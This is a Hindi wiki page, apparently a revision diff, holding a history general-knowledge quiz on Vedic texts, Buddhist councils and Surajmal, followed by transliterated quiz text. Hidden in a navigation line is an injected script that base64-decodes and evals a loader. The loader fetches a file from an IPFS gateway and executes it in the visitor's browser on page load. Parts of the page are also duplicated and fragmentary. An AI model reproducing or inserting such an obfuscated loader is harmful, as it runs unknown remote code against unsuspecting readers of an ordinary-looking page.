Difference between revisions of "इतिहास सामान्य ज्ञान 2"

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-[[अथर्ववेद]]
 
-[[अथर्ववेद]]
 
||[[चित्र:Yajurveda.jpg|right|100px|यजुर्वेद का आवरण पृष्ठ]] 'यर्जुवेद' मूलतः कर्मकाण्ड वाला [[ग्रन्थ]] है। इसकी रचना [[कुरुक्षेत्र]] में मानी जाती है। [[यजुर्वेद]] में [[आर्य|आर्यों]] की धार्मिक एवं सामाजिक जीवन की झाँकी मिलती है। 'यजुर्वेद ग्रन्थ' से पता चलता है कि आर्य '[[सप्त सिंघव]]' से आगे बढ़ गए थे और वे प्राकृतिक पूजा के प्रति उदासीन होने लगे थे। [[यजुर्वेद]] के [[मंत्र|मंत्रों]] का उच्चारण 'अध्वुर्य' नामक [[पुरोहित]] करता था। इस [[वेद]] में अनेक प्रकार के [[यज्ञ|यज्ञों]] को सम्पन्न करने की विधियों का उल्लेख है। यह 'गद्य' तथा 'पद्य' दोनों में लिखा गया है। गद्य को 'यजुष' कहा गया है। यजुर्वेद से '[[उत्तर वैदिक काल]]' की राजनीतिक, सामाजिक एवं धार्मिक जीवन की जानकारी मिलती हैं।{{point}}अधिक जानकारी के लिए देखें:-[[यजुर्वेद]]
 
||[[चित्र:Yajurveda.jpg|right|100px|यजुर्वेद का आवरण पृष्ठ]] 'यर्जुवेद' मूलतः कर्मकाण्ड वाला [[ग्रन्थ]] है। इसकी रचना [[कुरुक्षेत्र]] में मानी जाती है। [[यजुर्वेद]] में [[आर्य|आर्यों]] की धार्मिक एवं सामाजिक जीवन की झाँकी मिलती है। 'यजुर्वेद ग्रन्थ' से पता चलता है कि आर्य '[[सप्त सिंघव]]' से आगे बढ़ गए थे और वे प्राकृतिक पूजा के प्रति उदासीन होने लगे थे। [[यजुर्वेद]] के [[मंत्र|मंत्रों]] का उच्चारण 'अध्वुर्य' नामक [[पुरोहित]] करता था। इस [[वेद]] में अनेक प्रकार के [[यज्ञ|यज्ञों]] को सम्पन्न करने की विधियों का उल्लेख है। यह 'गद्य' तथा 'पद्य' दोनों में लिखा गया है। गद्य को 'यजुष' कहा गया है। यजुर्वेद से '[[उत्तर वैदिक काल]]' की राजनीतिक, सामाजिक एवं धार्मिक जीवन की जानकारी मिलती हैं।{{point}}अधिक जानकारी के लिए देखें:-[[यजुर्वेद]]
 
{'ज्ञानमार्गी शाखा' के [[कवि|कवियों]] को किस नाम से पुकारा जाता है?
 
|type="()"}
 
-सिद्ध कवि
 
-नाथपंथी कवि
 
-भक्त कवि
 
+संत कवि
 
 
{निम्नलिखित में से किसे 'जाटों का प्लेटो' कहा जाता था?
 
|type="()"}
 
-[[राजाराम]]
 
-[[ठाकुर चूड़ामन सिंह|चूड़ामन]]
 
+[[सूरजमल]]
 
-[[बदनसिंह]]
 
||[[चित्र:Maharaja-Surajmal-1.jpg|right|80px|राजा सूरजमल]]'राजा सूरजमल' ने [[ब्रज]] में एक स्वतंत्र [[हिन्दू]] राज्य को बना [[इतिहास]] में गौरव प्राप्त किया था। उसके शासन का समय सन 1755 से 1763 ई. तक है। वह सन 1755 से कई साल पहले से अपने [[पिता]] [[बदनसिंह]] के शासन के समय से ही राजकार्य संभालता था। [[भारत का इतिहास|भारत के इतिहास]] में [[सूरजमल]] को 'जाटों का प्लेटो' कहकर भी सम्बोधित किया गया है। सूरजमल के दरबारी कवि '[[सूदन]]' ने राजा की तारीफ़ में '[[सुजानचरित -सूदन|सुजानचरित]]' नामक [[ग्रंथ]] लिखा था। इस [[ग्रंथ]] में सूदन ने राजा सूरजमल द्वारा लड़ी लड़ाईयों का आँखों देखा वर्णन किया है। इस ग्रन्थ में सन 1745 से सन 1753 तक के समय में लड़ी गयी लड़ाईयों का वर्णन है।{{point}}अधिक जानकारी के लिए देखें:-[[सूरजमल]]
 
 
{किस [[बौद्ध संगीति]] में [[बौद्ध धर्म]] के [[ग्रंथ|ग्रंथों]] में [[संस्कृत]] का प्रयोग प्रारम्भ हुआ?
 
|type="()"}
 
-[[प्रथम बौद्ध संगीति]]
 
-[[द्वितीय बौद्ध संगीति]]
 
-[[तृतीय बौद्ध संगीति]]
 
+[[चतुर्थ बौद्ध संगीति]]
 
||[[चित्र:Buddhism-Symbol.jpg|right|80px|बौद्ध धर्म का प्रतीक]]'चतुर्थ बौद्ध संगीति', जिसे अंतिम बौद्ध संगीति माना जाता है, का आयोजन [[कुषाण]] [[कनिष्क|सम्राट कनिष्क]] के शासन काल (लगभग 120-144 ई.) में हुई थी। यह संगीति [[कश्मीर]] के 'कुण्डलवन' में आयोजित की गई थी। इस [[बौद्ध संगीति]] के अध्यक्ष [[वसुमित्र]] एवं उपाध्यक्ष [[अश्वघोष]] थे। महासभा में एकत्र विद्वानों ने [[बौद्ध धर्म]] के सिद्धांतों को स्पष्ट करने और विविध सम्प्रदायों के विरोध को दूर करने के लिए 'महाविभाषा' नाम का एक विशाल [[ग्रंथ]] तैयार किया। यह ग्रंथ '[[त्रिपिटक]]' के भाष्य के रूप में था। यह ग्रंथ [[संस्कृत भाषा]] में था और इसे ताम्रपत्रों पर उत्कीर्ण कराया गया था। ये ताम्रपत्र एक विशाल [[स्तूप]] में सुरक्षित करके रख दिए गए थे।{{point}}अधिक जानकारी के लिए देखें:-[[बौद्ध संगीति]]
 
 
{[[वेदान्त]] किसे कहा गया है?
 
|type="()"}
 
-[[वेद|वेदों]] को
 
-[[आरण्यक|आरण्यकों]] को
 
-[[ब्राह्मण ग्रंथ|ब्राह्मण ग्रंथों]] को
 
+[[उपनिषद|उपनिषदों]] को
 
||[[सर्वपल्ली राधाकृष्णन|डॉ. राधाकृष्णन]] के अनुसार [[उपनिषद]] शब्द की व्युत्पत्ति 'उप' (निकट), 'नि' (नीचे), और 'षद' (बैठो) से है। इस संसार के बारे में सत्य को जानने के लिए शिष्यों के दल अपने गुरु के निकट बैठते थे। उपनिषदों का [[दर्शन]] [[वेदान्त]] भी कहलाता है, जिसका अर्थ है- 'वेदों का अन्त', उनकी परिपूर्ति। इनमें मुख्यत: ज्ञान से सम्बन्धित समस्याओं पर विचार किया गया है। [[भर्तुमित्र]], जयन्त कृत 'न्यायमंजरी' तथा [[यामुनाचार्य]] के 'सिद्धित्रय' वेदांत आचार्य रहे थे। उपनिषद [[भारत]] के अनेक दार्शनिकों, जिन्हें [[ऋषि]] या [[मुनि]] कहा गया है, के अनेक वर्षों के गम्भीर चिंतन-मनन का परिणाम है।{{point}}अधिक जानकारी के लिए देखें:- [[उपनिषद]]
 
 
{[[महात्मा बुद्ध]] द्वारा दिये गये प्रथम उपदेश को क्या कहा जाता है?
 
|type="()"}
 
-महाभिनिष्क्रमण
 
+धर्मचक्र प्रवर्तन
 
-प्रतीत्य समुत्पाद
 
-[[उपसंपदा]]
 
||[[चित्र:Buddha-Statue-Bodhgaya-Bihar.jpg|right|100px|बुद्ध प्रतिमा, बोधगया, बिहार]]'गौतम बुद्ध' का मूल नाम 'सिद्धार्थ' था। गृहत्याग करने के बाद सिद्धार्थ ज्ञान की खोज में भटकने लगे थे। वे [[गया]] के निकट एक [[वट|वट वृक्ष]] के नीचे आसन लगा कर बैठ गये और निश्चय कर लिया कि भले ही प्राण निकल जाए, मैं तब तक समाधिस्त रहूँगा, जब तक ज्ञान न प्राप्त कर लूँ। सात दिन और सात रात्रि व्यतीत होने के बाद आठवें दिन [[वैशाख मास|वैशाख]] [[पूर्णिमा]] को उन्हें ज्ञान प्राप्त हुआ और उसी दिन वे "[[बुद्ध]]" हो गये। [[बोधगया]] से चल कर वे [[सारनाथ]] पहुँचे तथा वहाँ अपने पूर्व काल के पाँच साथियों को उपदेश देकर अपना शिष्य बना दिया। [[बौद्ध]] परंपरा में यह उपदेश 'धर्मचक्र प्रवर्त्तन' नाम से विख्यात है।{{point}}अधिक जानकारी के लिए देखें:- [[महात्मा बुद्ध]]
 
 
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Revision as of 11:13, 12 August 2016

samany jnan prashnottari
rajyoan ke samany jnan

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  1. REDIRECTsaancha:nilais vishay se sanbandhit lekh padhean:-
  2. REDIRECTsaancha:nila band itihas praangan, itihas kosh, aitihasik sthan kosh<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne par jaean
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1 mahavir ne 'jain sangh' ki sthapana kahaan ki thi?

kundagram
vaishali
pavapuri
varanasi

2 kis videshi doot ne apane ko 'bhagavat' ghoshit kiya tha?

megasthaniz
heliodoras
plootark
uparyukt mean se koee nahian

3 vaidik kalin logoan ne sarvapratham kis dhatu ka prayog kiya?

loha
kaansa
taanba
sona

4 hal sambandhi anushthan ka pahala vyakhyatmak varnan kahaan se mila hai?

gopath brahman mean
shatapath brahman mean
aitarey brahman mean
panchaviansh brahman mean

5 kis ved ki rachana gady evan pady donoan mean ki gee hai?

rrigved
samaved
yajurved
atharvaved

panne par jaean
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samany jnan prashnottari
rajyoan ke samany jnan

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